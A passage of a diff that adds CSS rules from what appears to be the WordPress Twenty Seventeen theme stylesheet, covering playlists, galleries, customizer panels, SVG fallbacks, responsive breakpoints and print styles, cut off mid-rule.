+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.wp-caption .wp-caption-text {
+	margin: 0.8075em 0;
+}
+
+/* Media Elements */
+
+.mejs-container {
+	margin-bottom: 1.5em;
+}
+
+/* Audio Player */
+
+.mejs-controls a.mejs-horizontal-volume-slider,
+.mejs-controls a.mejs-horizontal-volume-slider:focus,
+.mejs-controls a.mejs-horizontal-volume-slider:hover {
+	background: transparent;
+	border: 0;
+}
+
+/* Playlist Color Overrides: Light */
+
+.site-content .wp-playlist-light {
+	border-color: #eee;
+	color: #222;
+}
+
+.site-content .wp-playlist-light .wp-playlist-current-item .wp-playlist-item-album {
+	color: #333;
+}
+
+.site-content .wp-playlist-light .wp-playlist-current-item .wp-playlist-item-artist {
+	color: #767676;
+}
+
+.site-content .wp-playlist-light .wp-playlist-item {
+	border-bottom: 1px dotted #eee;
+	-webkit-transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+}
+
+.site-content .wp-playlist-light .wp-playlist-item:hover,
+.site-content .wp-playlist-light .wp-playlist-item:focus {
+	border-bottom-color: rgba(0, 0, 0, 0);
+	background-color: #767676;
+	color: #fff;
+}
+
+.site-content .wp-playlist-light a.wp-playlist-caption:hover,
+.site-content .wp-playlist-light .wp-playlist-item:hover a,
+.site-content .wp-playlist-light .wp-playlist-item:focus a {
+	color: #fff;
+}
+
+/* Playlist Color Overrides: Dark */
+
+.site-content .wp-playlist-dark {
+	background: #222;
+	border-color: #333;
+}
+
+.site-content .wp-playlist-dark .mejs-container .mejs-controls {
+	background-color: #333;
+}
+
+.site-content .wp-playlist-dark .wp-playlist-caption {
+	color: #fff;
+}
+
+.site-content .wp-playlist-dark .wp-playlist-current-item .wp-playlist-item-album {
+	color: #eee;
+}
+
+.site-content .wp-playlist-dark .wp-playlist-current-item .wp-playlist-item-artist {
+	color: #aaa;
+}
+
+.site-content .wp-playlist-dark .wp-playlist-playing {
+	background-color: #333;
+}
+
+.site-content .wp-playlist-dark .wp-playlist-item {
+	border-bottom: 1px dotted #555;
+	-webkit-transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+	transition: background-color 0.2s ease-in-out, border-color 0.2s ease-in-out, color 0.3s ease-in-out;
+}
+
+.site-content .wp-playlist-dark .wp-playlist-item:hover,
+.site-content .wp-playlist-dark .wp-playlist-item:focus {
+	border-bottom-color: rgba(0, 0, 0, 0);
+	background-color: #aaa;
+	color: #222;
+}
+
+.site-content .wp-playlist-dark a.wp-playlist-caption:hover,
+.site-content .wp-playlist-dark .wp-playlist-item:hover a,
+.site-content .wp-playlist-dark .wp-playlist-item:focus a {
+	color: #222;
+}
+
+/* Playlist Style Overrides */
+
+.site-content .wp-playlist {
+	padding: 0.625em 0.625em 0.3125em;
+}
+
+.site-content .wp-playlist-current-item .wp-playlist-item-title {
+	font-weight: 700;
+}
+
+.site-content .wp-playlist-current-item .wp-playlist-item-album {
+	font-style: normal;
+}
+
+.site-content .wp-playlist-current-item .wp-playlist-item-artist {
+	font-size: 10px;
+	font-size: 0.625rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	text-transform: uppercase;
+}
+
+.site-content .wp-playlist-item {
+	padding: 0 0.3125em;
+	cursor: pointer;
+}
+
+.site-content .wp-playlist-item:last-of-type {
+	border-bottom: none;
+}
+
+.site-content .wp-playlist-item a {
+	padding: 0.3125em 0;
+	border-bottom: none;
+}
+
+.site-content .wp-playlist-item a,
+.site-content .wp-playlist-item a:focus,
+.site-content .wp-playlist-item a:hover {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	background: transparent;
+}
+
+.site-content .wp-playlist-item-length {
+	top: 5px;
+}
+
+/* SVG Icons base styles */
+
+.icon {
+	display: inline-block;
+	fill: currentColor;
+	height: 1em;
+	position: relative; /* Align more nicely with capital letters */
+	top: -0.0625em;
+	vertical-align: middle;
+	width: 1em;
+}
+
+/*--------------------------------------------------------------
+16.1 Galleries
+--------------------------------------------------------------*/
+
+.gallery-item {
+	display: inline-block;
+	text-align: left;
+	vertical-align: top;
+	margin: 0 0 1.5em;
+	padding: 0 1em 0 0;
+	width: 50%;
+}
+
+.gallery-columns-1 .gallery-item {
+	width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-item a,
+.gallery-item a:hover,
+.gallery-item a:focus,
+.widget-area .gallery-item a,
+.widget-area .gallery-item a:hover,
+.widget-area .gallery-item a:focus {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	background: none;
+	display: inline-block;
+	max-width: 100%;
+}
+
+.gallery-item a img {
+	display: block;
+	-webkit-transition: -webkit-filter 0.2s ease-in;
+	transition: -webkit-filter 0.2s ease-in;
+	transition: filter 0.2s ease-in;
+	transition: filter 0.2s ease-in, -webkit-filter 0.2s ease-in;
+	-webkit-backface-visibility: hidden;
+	backface-visibility: hidden;
+}
+
+.gallery-item a:hover img,
+.gallery-item a:focus img {
+	-webkit-filter: opacity(60%);
+	filter: opacity(60%);
+}
+
+.gallery-caption {
+	display: block;
+	text-align: left;
+	padding: 0 10px 0 0;
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+17.0 Customizer
+--------------------------------------------------------------*/
+
+.highlight-front-sections.twentyseventeen-customizer.twentyseventeen-front-page .twentyseventeen-panel:after {
+	border: 2px dashed #0085ba; /* Matches visible edit shortcuts. */
+	bottom: 1em;
+	content: "";
+	display: block;
+	left: 1em;
+	position: absolute;
+	right: 1em;
+	top: 1em;
+	z-index: 1;
+}
+
+.highlight-front-sections.twentyseventeen-customizer.twentyseventeen-front-page .twentyseventeen-panel .panel-content {
+	z-index: 2; /* Prevent :after from preventing interactions within the section */
+}
+
+/* Used for placeholder text */
+.twentyseventeen-customizer.twentyseventeen-front-page .twentyseventeen-panel .twentyseventeen-panel-title {
+	display: block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 700;
+	letter-spacing: 1px;
+	padding: 3em;
+	text-transform: uppercase;
+	text-align: center;
+}
+
+/* Show borders on the custom page panels only when the front page sections are being edited */
+.highlight-front-sections.twentyseventeen-customizer.twentyseventeen-front-page .twentyseventeen-panel:nth-of-type(1):after {
+	border: none;
+}
+
+.twentyseventeen-front-page.twentyseventeen-customizer #primary article.panel-placeholder {
+	border: 0;
+}
+
+/* Add some space around the visual edit shortcut buttons. */
+.twentyseventeen-panel > .customize-partial-edit-shortcut > button {
+	top: 30px;
+	left: 30px;
+}
+
+/* Ensure that placeholder icons are visible. */
+.twentyseventeen-panel .customize-partial-edit-shortcut-hidden:before {
+	visibility: visible;
+}
+
+/*--------------------------------------------------------------
+18.0 SVGs Fallbacks
+--------------------------------------------------------------*/
+
+.svg-fallback {
+	display: none;
+}
+
+.no-svg .svg-fallback {
+	display: inline-block;
+}
+
+.no-svg .dropdown-toggle {
+	padding: 0.5em 0 0;
+	right: 0;
+	text-align: center;
+	width: 2em;
+}
+
+.no-svg .dropdown-toggle .svg-fallback.icon-angle-down {
+	font-size: 20px;
+	font-size: 1.25rem;
+	font-weight: 400;
+	line-height: 1;
+	-webkit-transform: rotate(180deg); /* Chrome, Safari, Opera */
+	-ms-transform: rotate(180deg); /* IE 9 */
+	transform: rotate(180deg);
+}
+
+.no-svg .dropdown-toggle.toggled-on .svg-fallback.icon-angle-down {
+	-webkit-transform: rotate(0); /* Chrome, Safari, Opera */
+	-ms-transform: rotate(0); /* IE 9 */
+	transform: rotate(0);
+}
+
+.no-svg .dropdown-toggle .svg-fallback.icon-angle-down:before {
+	content: "\005E";
+}
+
+/* Social Menu fallbacks */
+
+.no-svg .social-navigation a {
+	background: transparent;
+	color: #222;
+	height: auto;
+	width: auto;
+}
+
+/* Show screen reader text in some cases */
+
+.no-svg .next.page-numbers .screen-reader-text,
+.no-svg .prev.page-numbers .screen-reader-text,
+.no-svg .social-navigation li a .screen-reader-text,
+.no-svg .search-submit .screen-reader-text {
+	clip: auto;
+	font-size: 16px;
+	font-size: 1rem;
+	font-weight: 400;
+	height: auto;
+	position: relative !important; /* overrides previous !important styles */
+	width: auto;
+}
+
+/*--------------------------------------------------------------
+19.0 Media Queries
+--------------------------------------------------------------*/
+
+/* Adjust positioning of edit shortcuts, override style in customize-preview.css */
+@media screen and (min-width: 20em) {
+
+	body.customize-partial-edit-shortcuts-shown .site-header .site-title {
+		padding-left: 0;
+	}
+}
+
+@media screen and (min-width: 30em) {
+
+	/* Typography */
+
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 18px;
+		font-size: 1.125rem;
+	}
+
+	h1 {
+		font-size: 30px;
+		font-size: 1.875rem;
+	}
+
+	h2,
+	.home.blog .entry-title,
+	.page .panel-content .recent-posts .entry-title {
+		font-size: 26px;
+		font-size: 1.625rem;
+	}
+
+	h3 {
+		font-size: 22px;
+		font-size: 1.375rem;
+	}
+
+	h4 {
+		font-size: 18px;
+		font-size: 1.125rem;
+	}
+
+	h5 {
+		font-size: 13px;
+		font-size: 0.8125rem;
+	}
+
+	h6 {
+		font-size: 16px;
+		font-size: 1rem;
+	}
+
+	.entry-content blockquote.alignleft,
+	.entry-content blockquote.alignright {
+		font-size: 14px;
+		font-size: 0.875rem;
+	}
+
+	/* Fix image alignment */
+	img.alignleft {
+		float: left;
+		margin-right: 1.5em;
+	}
+
+	img.alignright {
+		float: right;
+		margin-left: 1.5em;
+	}
+
+	/* Site Branding */
+
+	.site-branding {
+		padding: 3em 0;
+	}
+
+	/* Front Page */
+
+	.panel-content .wrap {
+		padding-bottom: 2em;
+		padding-top: 3.5em;
+	}
+
+	.page-one-column .panel-content .wrap {
+		max-width: 740px;
+	}
+
+	.panel-content .entry-header {
+		margin-bottom: 4.5em;
+	}
+
+	.panel-content .recent-posts .entry-header {
+		margin-bottom: 0;
+	}
+
+	/* Blog Index, Archive, Search */
+
+	.taxonomy-description {
+		font-size: 14px;
+		font-size: 0.875rem;
+	}
+
+	.page-numbers.current {
+		font-size: 16px;
+		font-size: 1rem;
+	}
+
+	/* Site Footer */
+
+	.site-footer {
+		font-size: 16px;
+		font-size: 1rem;
+	}
+
+	/* Gallery Columns */
+
+	.gallery-item {
+		max-width: 25%;
+	}
+
+	.gallery-columns-1 .gallery-item {
+		max-width: 100%;
+	}
+
+	.gallery-columns-2 .gallery-item {
+		max-width: 50%;
+	}
+
+	.gallery-columns-3 .gallery-item {
+		max-width: 33.33%;
+	}
+
+	.gallery-columns-4 .gallery-item {
+		max-width: 25%;
+	}
+}
+
+@media screen and (min-width: 48em) {
+
+	/* Typography */
+
+	body,
+	button,
+	input,
+	select,
+	textarea {
+		font-size: 16px;
+		font-size: 1rem;
+		line-height: 1.5;
+	}
+
+	.entry-content blockquote.alignleft,
+	.entry-content blockquote.alignright {
+		font-size: 13px;
+		font-size: 0.8125rem;
+	}
+
+	/* Layout */
+
+	.wrap {
+		max-width: 1000px;
+		padding-left: 3em;
+		padding-right: 3em;
+	}
+
+	.has-sidebar:not(.error404) #primary {
+		float: left;
+		width: 58%;
+	}
+
+	.has-sidebar #secondary {
+		float: right;
+		padding-top: 0;
+		width: 36%;
+	}
+
+	.error404 #primary {
+		float: none;
+	}
+
+	/* Site Branding */
+
+	.site-branding {
+		margin-bottom: 0;
+	}
+
+	.has-header-image.twentyseventeen-front-page .site-branding,
+	.has-header-video.twentyseventeen-front-page .site-branding,
+	.has-header-image.home.blog .site-branding,
+	.has-header-video.home.blog .site-branding {
+		bottom: 0;
+		display: block;
+		left: 0;
+		height: auto;
+		padding-top: 0;
+		position: absolute;
+		width: 100%;
+	}
+
+	.has-header-image.twentyseventeen-front-page .custom-header,
+	.has-header-video.twentyseventeen-front-page .custom-header,
+	.has-header-image.home.blog .custom-header,
+	.has-header-video.home.blog .custom-header {
+		display: block;
+		height: auto;
+	}
+
+	.custom-header-media {
+		height: 165px;
+		position: relative;
+	}
+
+	.twentyseventeen-front-page.has-header-image .custom-header-media,
+	.twentyseventeen-front-page.has-header-video .custom-header-media,
+	.home.blog.has-header-image .custom-header-media,
+	.home.blog.has-header-video .custom-header-media {
+		height: 0;
+		position: relative;
+	}
+
+	.has-header-image:not(.twentyseventeen-front-page):not(.home) .custom-header-media,
+	.has-header-video:not(.twentyseventeen-front-page):not(.home) .custom-header-media {
+		bottom: 0;
+		height: auto;
+		left: 0;
+		position: absolute;
+		right: 0;
+		top: 0;
+	}
+
+	.custom-logo-link {
+		padding-right: 2em;
+	}
+
+	.custom-logo-link img,
+	body.home.title-tagline-hidden.has-header-image .custom-logo-link img,
+	body.home.title-tagline-hidden.has-header-video .custom-logo-link img {
+		max-width: 350px;
+	}
+
+	.title-tagline-hidden.home.has-header-image .custom-logo-link img,
+	.title-tagline-hidden.home.has-header-video .custom-logo-link img {
+		max-height: 200px;
+	}
+
+	.site-title {
+		font-size: 36px;
+		font-size: 2.25rem;
+	}
+
+	.site-description {
+		font-size: 16px;
+		font-size: 1rem;
+	}
+
+	/* Navigation */
+
+	.navigation-top {
+		bottom: 0;
+		font-size: 14px;
+		font-size: 0.875rem;
+		left: 0;
+		position: absolute;
+		right: 0;
+		width: 100%;
+		z-index: 3;
+	}
+
+	.navigation-top .wrap {
+		max-width: 1000px;
+		/* The font size is 14px here and we need 50px padding in ems */
+		padding: 0.75em 3.4166666666667em;
+	}
+
+	.navigation-top nav {
+		margin-left: -1.25em;
+	}
+
+	.site-navigation-fixed.navigation-top {
+		bottom: auto;
+		position: fixed;
+		left: 0;
+		right: 0;
+		top: 0;
+		width: 100%;
+		z-index: 7;
+	}
+
+	.admin-bar .site-navigation-fixed.navigation-top {
+		top: 32px;
+	}
+
+	/* Main Navigation */
+
+	.js .menu-toggle,
+	.js .dropdown-toggle {
+		display: none;
+	}
+
+	.main-navigation {
+		width: auto;
+	}
+
+	.js .main-navigation ul,
+	.js .main-navigation ul ul,
+	.js .main-navigation > div > ul {
+		display: block;
+	}
+
+	.main-navigation ul {
+		background: transparent;
+		padding: 0;
+	}
+
+	.main-navigation > div > ul {
+		border: 0;
+		margin-bottom: 0;
+		padding: 0;
+	}
+
+	.main-navigation li {
+		border: 0;
+		display: inline-block;
+	}
+
+	.main-navigation li li {
+		display: block;
+	}
+
+	.main-navigation a {
+		padding: 1em 1.25em;
+	}
+
+	.main-navigation ul ul {
+		background: #fff;
+		border: 1px solid #bbb;
+		left: -999em;
+		padding: 0;
+		position: absolute;
+		top: 100%;
+		z-index: 99999;
+	}
+
+	.main-navigation ul li.menu-item-has-children:before,
+	.main-navigation ul li.menu-item-has-children:after,
+	.main-navigation ul li.page_item_has_children:before,
+	.main-navigation ul li.page_item_has_children:after {
+		border-style: solid;
+		border-width: 0 6px 6px;
+		content: "";
+		display: none;
+		height: 0;
+		position: absolute;
+		right: 1em;
+		bottom: -1px;
+		width: 0;
+		z-index: 100000;
+	}
+
+	.main-navigation ul li.menu-item-has-children.focus:before,
+	.main-navigation ul li.menu-item-has-children:hover:before,
+	.main-navigation ul li.menu-item-has-children.focus:after,
+	.main-navigation ul li.menu-item-has-children:hover:after,
+	.main-navigation ul li.page_item_has_children.focus:before,
+	.main-navigation ul li.page_item_has_children:hover:before,
+	.main-navigation ul li.page_item_has_children.focus:after,
+	.main-navigation ul li.page_item_has_children:hover:after {
+		display: block;
+	}
+
+	.main-navigation ul li.menu-item-has-children:before,
+	.main-navigation ul li.page_item_has_children:before {
+		border-color: transparent transparent #bbb;
+		bottom: 0;
+	}
+
+	.main-navigation ul li.menu-item-has-children:after,
+	.main-navigation ul li.page_item_has_children:after {
+		border-color: transparent transparent #fff;
+	}
+
+	.main-navigation ul ul li:hover > ul,
+	.main-navigation ul ul li.focus > ul {
+		left: 100%;
+		right: auto;
+	}
+
+	.main-navigation ul ul a {
+		padding: 0.75em 1.25em;
+		width: 16em;
+	}
+
+	.main-navigation li li {
+		-webkit-transition: background-color 0.2s ease-in-out;
+		transition: background-color 0.2s ease-in-out;
+	}
+
+	.main-navigation li li:hover,
+	.main-navigation li li.focus {
+		background: #767676;
+	}
+
+	.main-navigation li li a {
+		-webkit-transition: color 0.3s ease-in-out;
+		transition: color 0.3s ease-in-out;
+	}
+
+	.main-navigation li li.focus > a,
+	.main-navigation li li:focus > a,
+	.main-navigation li li:hover > a,
+	.main-navigation li li a:hover,
+	.main-navigation li li a:focus,
+	.main-navigation li li.current_page_item a:hover,
+	.main-navigation li li.current-menu-item a:hover,
+	.main-navigation li li.current_page_item a:focus,
+	.main-navigation li li.current-menu-item a:focus {
+		color: #fff;
+	}
+
+	.main-navigation ul li:hover > ul,
+	.main-navigation ul li.focus > ul {
+		left: 0.5em;
+		right: auto;
+	}
+
+	.main-navigation .menu-item-has-children > a > .icon,
+	.main-navigation .page_item_has_children > a > .icon {
+		display: inline;
+		left: 5px;
+		position: relative;
+		top: -1px;
+	}
+
+	.main-navigation ul ul .menu-item-has-children > a > .icon,
+	.main-navigation ul ul .page_item_has_children > a > .icon {
+		margin-top: -9px;
+		left: auto;
+		position: absolute;
+		right: 1em;
+		top: 50%;
+		-webkit-transform: rotate(-90deg); /* Chrome, Safari, Opera */
+		-ms-transform: rotate(-90deg); /* IE 9 */
+		transform: rotate(-90deg);
+	}
+
+	.main-navigation ul ul ul {
+		left: -999em;
+		margin-top: -1px;
+		top: 0;
+	}
+
+	.main-navigation ul ul li.menu-item-has-children.focus:before,
+	.main-navigation ul ul li.menu-item-has-children:hover:before,
+	.main-navigation ul ul li.menu-item-has-children.focus:after,
+	.main-navigation ul ul li.menu-item-has-children:hover:after,
+	.main-navigation ul ul li.page_item_has_children.focus:before,
+	.main-navigation ul ul li.page_item_has_children:hover:before,
+	.main-navigation ul ul li.page_item_has_children.focus:after,
+	.main-navigation ul ul li.page_item_has_children:hover:after {
+		display: none;
+	}
+
+	.site-header .site-navigation-fixed .menu-scroll-down {
+		display: none;
+	}
+
+	/* Scroll down arrow */
+
+	.site-header .menu-scroll-down {
+		display: block;
+		padding: 1em;
+		position: absolute;
+		right: 0;
+	}
+
+	.site-header .menu-scroll-down .icon {
+		-webkit-transform: rotate(90deg); /* Chrome, Safari, Opera */
+		-ms-transform: rotate(90deg); /* IE 9 */
+		transform: rotate(90deg);
+	}
+
+	.site-header .menu-scroll-down {
+		color: #fff;
+		top: 2em;
+	}
+
+	.site-header .navigation-top .menu-scroll-down {
+		color: #767676;
+		top: 0.7em;
+	}
+
+	.menu-scroll-down:focus {
+		outline: thin dotted;
+	}
+
+	.menu-scroll-down .icon {
+		height: 18px;
+		width: 18px;
+	}
+
+	/* Front Page */
+
+	.twentyseventeen-front-page.has-header-image .site-branding,
+	.twentyseventeen-front-page.has-header-video .site-branding,
+	.home.blog.has-header-image .site-branding,
+	.home.blog.has-header-video .site-branding {
+		margin-bottom: 70px;
+	}
+
+	.twentyseventeen-front-page.has-header-image .custom-header-media,
+	.twentyseventeen-front-page.has-header-video .custom-header-media,
+	.home.blog.has-header-image .custom-header-media,
+	.home.blog.has-header-video .custom-header-media {
+		height: 1200px;
+		height: 100vh;
+		max-height: 100%;
+		overflow: hidden;
+	}
+
+	.twentyseventeen-front-page.has-header-image .custom-header-media:before,
+	.twentyseventeen-front-page.has-header-video .custom-header-media:before,
+	.home.blog.has-header-image .custom-header-media:before,
+	.home.blog.has-header-video .custom-header-media:before {
+		height: 33%;
+	}
+
+	.admin-bar.twentyseventeen-front-page.has-header-image .custom-header-media,
+	.admin-bar.twentyseventeen-front-page.has-header-video .custom-header-media,
+	.admin-bar.home.blog.has-header-image .custom-header-media,
+	.admin-bar.home.blog.has-header-video .custom-header-media {
+		height: calc(100vh - 32px);
+	}
+
+	.panel-content .wrap {
+		padding-bottom: 4.5em;
+		padding-top: 6em;
+	}
+
+	.panel-image {
+		height: 100vh;
+		max-height: 1200px;
+	}
+
+	/* With panel images 100% of the screen height, we're going to fix the background image where supported to create a parallax-like effect. */
+	.background-fixed .panel-image {
+		background-attachment: fixed;
+	}
+
+	.page-two-column .panel-content .entry-header {
+		float: left;
+		width: 36%;
+	}
+
+	.page-two-column .panel-content .entry-content {
+		float: right;
+		width: 58%;
+	}
+
+	/* Front Page - Recent Posts */
+
+	.page-two-column .panel-content .recent-posts {
+		clear: right;
+		float: right;
+		width: 58%;
+	}
+
+	.panel-content .recent-posts article {
+		margin-bottom: 4em;
+	}
+
+	.panel-content .recent-posts .entry-header,
+	.page-two-column #primary .panel-content .recent-posts .entry-header,
+	.panel-content .recent-posts .entry-content,
+	.page-two-column #primary .panel-content .recent-posts .entry-content {
+		float: none;
+		width: 100%;
+	}
+
+	.panel-content .recent-posts .entry-header {
+		margin-bottom: 1.5em;
+	}
+
+	.page .panel-content .recent-posts .entry-title {
+		font-size: 26px;
+		font-size: 1.625rem;
+	}
+
+	/* Posts */
+
+	.site-content {
+		padding: 5.5em 0 0;
+	}
+
+	.single-post .entry-title,
+	.page .entry-title {
+		font-size: 26px;
+		font-size: 1.625rem;
+	}
+
+	.comments-pagination,
+	.post-navigation {
+		clear: both;
+	}
+
+	.post-navigation .nav-previous {
+		float: left;
+		width: 50%;
+	}
+
+	.post-navigation .nav-next {
+		float: right;
+		text-align: right;
+		width: 50%;
+	}
+
+	.nav-next,
+	.post-navigation .nav-next {
+		margin-top: 0;
+	}
+
+	/* Blog, archive, search */
+
+	.sticky .icon-thumb-tack {
+		height: 23px;
+		left: -2.5em;
+		top: 1.5em;
+		width: 32px;
+	}
+
+	body:not(.has-sidebar):not(.page-one-column) .page-header,
+	body.has-sidebar.error404 #primary .page-header,
+	body.page-two-column:not(.archive) #primary .entry-header,
+	body.page-two-column.archive:not(.has-sidebar) #primary .page-header {
+		float: left;
+		width: 36%;
+	}
+
+	.blog:not(.has-sidebar) #primary article,
+	.archive:not(.page-one-column):not(.has-sidebar) #primary article,
+	.search:not(.has-sidebar) #primary article,
+	.error404:not(.has-sidebar) #primary .page-content,
+	.error404.has-sidebar #primary .page-content,
+	body.page-two-column:not(.archive) #primary .entry-content,
+	body.page-two-column #comments {
+		float: right;
+		width: 58%;
+	}
+
+	.blog .site-main > article,
+	.archive .site-main > article,
+	.search .site-main > article {
+		padding-bottom: 4em;
+	}
+
+	.navigation.pagination {
+		clear: both;
+		float: right;
+		width: 58%;
+	}
+
+	.has-sidebar .navigation.pagination,
+	.archive.page-one-column:not(.has-sidebar) .navigation.pagination {
+		float: none;
+		width: 100%;
+	}
+
+	.entry-footer {
+		display: table;
+		width: 100%;
+	}
+
+	.entry-footer .cat-tags-links {
+		display: table-cell;
+		vertical-align: middle;
+		width: 100%;
+	}
+
+	.entry-footer .edit-link {
+		display: table-cell;
+		text-align: right;
+		vertical-align: middle;
+	}
+
+	.entry-footer .edit-link a.post-edit-link {
+		margin-top: 0;
+		margin-left: 1em;
+	}
+
+	/* Entry content */
+
+	/* without sidebar */
+
+	:not(.has-sidebar) .entry-content blockquote.alignleft {
+		margin-left: -17.5%;
+		width: 48%;
+	}
+
+	:not(.has-sidebar) .entry-content blockquote.alignright {
+		margin-right: -17.5%;
+		width: 48%;
+	}
+
+	/* with sidebar */
+
+	.has-sidebar .entry-content blockquote.alignleft {
+		margin-left: 0;
+		width: 34%;
+	}
+
+	.has-sidebar .entry-content blockquote.alignright {
+		margin-right: 0;
+		width: 34%;
+	}
+
+	.has-sidebar #primary .entry-content blockquote.alignright.below-entry-meta {
+		margin-right: -72.5%;
+		width: 62%;
+	}
+
+	/* blog and archive */
+
+	.blog:not(.has-sidebar) .entry-content blockquote.alignleft,
+	.twentyseventeen-front-page.page-two-column .entry-content blockquote.alignleft,
+	.archive:not(.has-sidebar) .entry-content blockquote.alignleft,
+	.page-two-column .entry-content blockquote.alignleft {
+		margin-left: -72.5%;
+		width: 62%;
+	}
+
+	.blog:not(.has-sidebar) .entry-content blockquote.alignright,
+	.twentyseventeen-front-page.page-two-column .entry-content blockquote.alignright,
+	.archive:not(.has-sidebar) .entry-content blockquote.alignright,
+	.page-two-column .entry-content blockquote.alignright {
+		margin-right: 0;
+		width: 36%;
+	}
+
+	/* Post formats */
+
+	.format-quote blockquote .icon {
+		left: -1.5em;
+	}
+
+	/* Pages */
+
+	.page.page-one-column .entry-header,
+	.twentyseventeen-front-page.page-one-column .entry-header,
+	.archive.page-one-column:not(.has-sidebar) .page-header {
+		margin-bottom: 4em;
+	}
+
+	.page:not(.home) #content {
+		padding-bottom: 3.25em;
+	}
+
+	/* 404 page */
+
+	.error404 .page-content {
+		padding-bottom: 9em;
+	}
+
+	/* Comments */
+
+	#comments {
+		padding-top: 5em;
+	}
+
+	.comments-title {
+		margin-bottom: 2.5em;
+	}
+
+	ol.children .children {
+		padding-left: 2em;
+	}
+
+	/* Posts pagination */
+
+	.nav-links .nav-title {
+		position: relative;
+	}
+
+	.nav-title-icon-wrapper {
+		position: absolute;
+		text-align: center;
+		width: 2em;
+	}
+
+	.nav-links .nav-previous .nav-title .nav-title-icon-wrapper {
+		left: -2em;
+	}
+
+	.nav-links .nav-next .nav-title .nav-title-icon-wrapper {
+		right: -2em;
+	}
+
+	/* Secondary */
+
+	#secondary {
+		font-size: 14px;
+		font-size: 0.875rem;
+		line-height: 1.6;
+	}
+
+	/* Widgets */
+
+	h2.widget-title {
+		font-size: 11px;
+		font-size: 0.6875rem;
+		margin-bottom: 2em;
+	}
+
+	/* Footer */
+
+	.site-footer {
+		font-size: 14px;
+		font-size: 0.875rem;
+		line-height: 1.6;
+		margin-top: 3em;
+	}
+
+	.site-footer .widget-column.footer-widget-1 {
+		float: left;
+		width: 36%;
+	}
+
+	.site-footer .widget-column.footer-widget-2 {
+		float: right;
+		width: 58%;
+	}
+
+	.social-navigation {
+		clear: left;
+		float: left;
+		margin-bottom: 0;
+		width: 36%;
+	}
+
+	.site-info {
+		float: left;
+		padding: 0.7em 0 0;
+		width: 58%;
+	}
+
+	.social-navigation + .site-info {
+		margin-left: 6%;
+	}
+
+	.site-info .sep {
+		margin: 0 0.5em;
+		display: inline;
+		visibility: visible;
+		height: auto;
+		width: auto;
+	}
+
+	/* Gallery Columns */
+
+	.gallery-columns-5 .gallery-item {
+		max-width: 20%;
+	}
+
+	.gallery-columns-6 .gallery-item {
+		max-width: 16.66%;
+	}
+
+	.gallery-columns-7 .gallery-item {
+		max-width: 14.28%;
+	}
+
+	.gallery-columns-8 .gallery-item {
+		max-width: 12.5%;
+	}
+
+	.gallery-columns-9 .gallery-item {
+		max-width: 11.11%;
+	}
+}
+
+@media screen and ( min-width: 67em ) {
+
+	/* Layout */
+
+	/* Navigation */
+	.navigation-top .wrap {
+		padding: 0.75em 2em;
+	}
+
+	.navigation-top nav {
+		margin-left: 0;
+	}
+
+	/* Sticky posts */
+
+	.sticky .icon-thumb-tack {
+		font-size: 32px;
+		font-size: 2rem;
+		height: 22px;
+		left: -1.25em;
+		top: 0.75em;
+		width: 32px;
+	}
+
+	/* Pagination */
+
+	.page-numbers {
+		display: inline-block;
+	}
+
+	.page-numbers.current {
+		font-size: 15px;
+		font-size: 0.9375rem;
+	}
+
+	.page-numbers.current .screen-reader-text {
+		clip: rect(1px, 1px, 1px, 1px);
+		height: 1px;
+		overflow: hidden;
+		position: absolute !important;
+		width: 1px;
+	}
+
+	/* Comments */
+
+	.comment-body {
+		margin-left: 0;
+	}
+}
+
+@media screen and ( min-width: 79em ) {
+
+	.has-sidebar .entry-content blockquote.alignleft {
+		margin-left: -20%;
+	}
+
+	.blog:not(.has-sidebar) .entry-content blockquote.alignright,
+	.archive:not(.has-sidebar) .entry-content blockquote.alignright,
+	.page-two-column .entry-content blockquote.alignright,
+	.twentyseventeen-front-page .entry-content blockquote.alignright {
+		margin-right: -20%;
+	}
+}
+
+@media screen and ( max-width: 48.875em ) and ( min-width: 48em ) {
+
+	.admin-bar .site-navigation-fixed.navigation-top,
+	.admin-bar .site-navigation-hidden.navigation-top {
+		top: 46px;
+	}
+}
+
+/*--------------------------------------------------------------
+20.0 Print
+--------------------------------------------------------------*/
+
+@media print {
+
+	/* Hide elements */
+
+	form,
+	button,
+	input,
+	select,
+	textarea,
+	.navigation-top,
+	.social-navigation,
+	#secondary,
+	.content-bottom-widgets,
+	.header-image,
+	.panel-image-prop,
+	.icon-thumb-tack,
+	.page-links,
+	.edit-link,
+	.post-navigation,
+	.pagination.navigation,
+	.comments-pagination,
+	.comment-respond,
+	.comment-edit-link,
+	.comment-reply-link,
+	.comment-metadata .edit-link,
+	.pingback .edit-link,
+	.site-footer aside.widget-area,
+	.site-info {
+		display: none !important;
+	}
+
+	.entry-footer,
+	#comments,
+	.site-footer,
+	.single-featured-image-header {
+		border: 0;
+	}
+
+	/* Font sizes */
+
+	body {
+		font-size: 12pt;
+	}
+
+	h1 {
+		font-size: 24pt;
+	}
+
+	h2 {
+		font-size: 22pt;
+	}
+
+	h3 {
+		font-size: 17pt;
+	}
+
+	h4 {
+		font-size: 12pt;
+	}
+
+	h5 {
+		font-size: 11pt;
+	}
+
+	h6 {
+		font-size: 12pt;
+	}
+
+	.page .panel-content .entry-title,
+	.page-title,
+	body.page:not(.twentyseventeen-front-page) .entry-title {
+		font-size: 10pt;
+	}
+
+	/* Layout */
+
+	.wrap {
+		padding-left: 5% !important;
+		padding-right: 5% !important;
+		max-width: none;
+	}
+
+	/* Site Branding */
+
+	.site-header {
+		background: transparent;
+		padding: 0;
+	}
+
+	.custom-header-media {
+		padding: 0;
+	}
+
+	.twentyseventeen-front-page.has-header-image .site-branding,
+	.twentyseventeen-front-page.has-header-video .site-branding,
+	.home.blog.has-header-image .site-branding,
+	.home.blog.has-header-video .site-branding {
+		position: relative;
+	}
+
+	.site-branding {
